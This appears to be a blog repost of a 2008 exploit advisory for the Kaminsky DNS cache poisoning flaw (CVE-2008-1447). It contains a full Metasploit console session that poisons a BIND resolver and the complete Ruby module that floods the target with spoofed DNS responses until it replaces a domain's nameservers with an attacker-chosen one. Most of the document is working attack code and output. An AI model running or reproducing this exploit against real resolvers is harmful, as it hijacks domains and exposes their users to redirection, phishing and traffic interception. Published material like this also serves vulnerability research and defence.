鬼仔's Blog

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                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0003
Release Date:   2008.07.23
Title:          bailiwicked_domain.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email:   I)ruid <druid (@) caughq.org>
                H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain.  By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.  This insertion completely replaces the original nameserver
records for the target domain.

Example
=======

# /msf3/msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 73 aux

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            171957  IN      NS      b.iana-servers.net.
[*]   Querying recon nameserver for address of b.iana-servers.net....
[*]    Got an A record: b.iana-servers.net.     171028  IN      A       193.0.0.236
[*]     Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*]     b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            171957  IN      NS      a.iana-servers.net.
[*]   Querying recon nameserver for address of a.iana-servers.net....
[*]    Got an A record: a.iana-servers.net.     171414  IN      A       192.0.34.43
[*]     Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*]     a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and 
was cool enough to email us and share!

References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113

Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary

	include Exploit::Remote::Ip

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'DNS BailiWicked Domain Attack',
			'Description'    => %q{
				This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
				Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
				domains nameserver entries in a vulnerable DNS cache server. This attack works
				by sending random hostname queries to the target DNS server coupled with spoofed
				replies to those queries from the authoritative nameservers for that domain.
				Eventually, a guessed ID will match, the spoofed packet will get accepted, and
				the nameserver entries for the target domain will be replaced by the server
				specified in the NEWDNS option of this exploit.
			},
			'Author'         => 
				[ 
				'	I)ruid', 'hdm',
					                                      #
					'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method 
					                                      # and was cool enough to email us and share!
					                                      #
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 5591 $',
			'References'     =>
				[
					[ 'CVE', '2008-1447' ],
					[ 'US-CERT-VU', '8000113' ],
					[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
				],
			'DisclosureDate' => 'Jul 21 2008'
			))

			register_options(
				[
					OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
					OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
					OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
					OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
					OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
					OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
				], self.class)

	end

	def auxiliary_commands
		return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
	end

	def cmd_check(*args)
		targ = args[0] || rhost()
		if(not (targ and targ.length > 0))
			print_status("usage: check [dns-server]")
			return
		end

		print_status("Using the Metasploit service to verify exploitability...")
		srv_sock = Rex::Socket.create_udp(
			'PeerHost' => targ,
			'PeerPort' => 53
		)		

		random = false
		ports  = []
		lport  = nil

		1.upto(5) do |i|

			req = Resolv::DNS::Message.new
			txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
			req.rd = 1

			srv_sock.put(req.encode)
			res, addr = srv_sock.recvfrom()

			if res and res.length > 0
				res = Resolv::DNS::Message.decode(res)
				res.each_answer do |name, ttl, data|
					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
						t_addr, t_port = $1.split(':')

						print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
						t_port = t_port.to_i
						if(lport and lport != t_port)
							random = true
						end
						lport  = t_port
						ports << t_port
					end
				end
			end	
		end

		srv_sock.close

		if(ports.length < 5)
			print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
			return
		end

		if(random)
			print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
			print_status("      This server may still be exploitable, but not by this tool.")
		else
			print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
		end
	end

	def run
		target  = rhost()
		source  = Rex::Socket.source_address(target)
		sport   = datastore['SRCPORT']
		domain  = datastore['DOMAIN'] + '.'
		newdns  = datastore['NEWDNS']
		recons  = datastore['RECONS']
		xids    = datastore['XIDS'].to_i
		newttl  = datastore['TTL'].to_i
		xidbase = rand(20001) + 20000

		address = Rex::Text.rand_text(4).unpack("C4").join(".")

		srv_sock = Rex::Socket.create_udp(
			'PeerHost' => target,
			'PeerPort' => 53
		)

		# Get the source port via the metasploit service if it's not set
		if sport.to_i == 0
			req = Resolv::DNS::Message.new
			txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
			req.rd = 1

			srv_sock.put(req.encode)
			res, addr = srv_sock.recvfrom()

			if res and res.length > 0
				res = Resolv::DNS::Message.decode(res)
				res.each_answer do |name, ttl, data|
					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
						t_addr, t_port = $1.split(':')
						sport = t_port.to_i

						print_status("Switching to target port #{sport} based on Metasploit service")
						if target != t_addr
							print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
						end
					end
				end
			end
		end

		# Verify its not already poisoned
		begin
			query = Resolv::DNS::Message.new
			query.add_question(domain, Resolv::DNS::Resource::IN::NS)
			query.rd = 0

			begin
				cached = false
				srv_sock.put(query.encode)
				answer, addr = srv_sock.recvfrom()

				if answer and answer.length > 0
					answer = Resolv::DNS::Message.decode(answer)
					answer.each_answer do |name, ttl, data|

						if((name.to_s + ".") == domain and data.name.to_s == newdns)
							t = Time.now + ttl
							print_status("Failure: This domain is already using #{newdns} as a nameserver")
							print_status("         Cache entry expires on #{t.to_s}")
							srv_sock.close
							disconnect_ip
							return
						end
					end

				end
			end until not cached
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
		end

		res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

		print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"

		# Look up the nameservers for the domain
		print_status "Querying recon nameserver for #{domain}'s nameservers..."
		answer0 = res0.send(domain, Net::DNS::NS)
		#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

		barbs = [] # storage for nameservers
		answer0.answer.each do |rr0|
			print_status " Got an #{rr0.type} record: #{rr0.inspect}"
			if rr0.type == 'NS'
				print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
				answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
				#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
				answer1.answer.each do |rr1|
					print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
					res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
					print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
					answer2 = res2.send(domain)
					if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
						nsrec = {:name => rr0.nsdname, :addr => rr1.address}
						barbs << nsrec
						print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
					end
				end
			end	
		end

		if barbs.length == 0
			print_status( "No DNS servers found.")
			srv_sock.close
			disconnect_ip
			return
		end

		# Flood the target with queries and spoofed responses, one will eventually hit
		queries = 0
		responses = 0

		connect_ip if not ip_sock

		print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")

		while true
			randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

			# Send spoofed query
			req = Resolv::DNS::Message.new
			req.id = rand(2**16)
			req.add_question(randhost, Resolv::DNS::Resource::IN::A)

			req.rd = 1

			buff = (
				Scruby::IP.new(
					#:src   => barbs[0][:addr].to_s,
					:src   => source,
					:dst   => target,
					:proto => 17
				)/Scruby::UDP.new(
					:sport => (rand((2**16)-1024)+1024).to_i,
					:dport => 53
				)/req.encode
			).to_net
			ip_sock.sendto(buff, target)
			queries += 1

			# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
			req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
			req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
			req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
			req.qr = 1
			req.aa = 1

			xidbase.upto(xidbase+xids-1) do |id|
				req.id = id
				barbs.each do |barb|
					buff = (
						Scruby::IP.new(
							#:src   => barbs[i][:addr].to_s,
							:src   => barb[:addr].to_s,
							:dst   => target,
							:proto => 17
						)/Scruby::UDP.new(
							:sport => 53,
							:dport => sport.to_i
						)/req.encode
					).to_net
					ip_sock.sendto(buff, target)
					responses += 1
				end
			end

			# status update
			if queries % 1000 == 0
				print_status("Sent #{queries} queries and #{responses} spoofed responses...")
			end

			# every so often, check and see if the target is poisoned...
			if queries % 250 == 0 
				begin
					query = Resolv::DNS::Message.new
					query.add_question(domain, Resolv::DNS::Resource::IN::NS)
					query.rd = 0

					srv_sock.put(query.encode)
					answer, addr = srv_sock.recvfrom()

					if answer and answer.length > 0
						answer = Resolv::DNS::Message.decode(answer)
						answer.each_answer do |name, ttl, data|
							if((name.to_s + ".") == domain and data.name.to_s == newdns)
								print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
								srv_sock.close
								disconnect_ip
								return
							end
						end
					end
				rescue ::Interrupt
					raise $!
				rescue ::Exception => e
					print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
				end
			end

		end

	end

end
end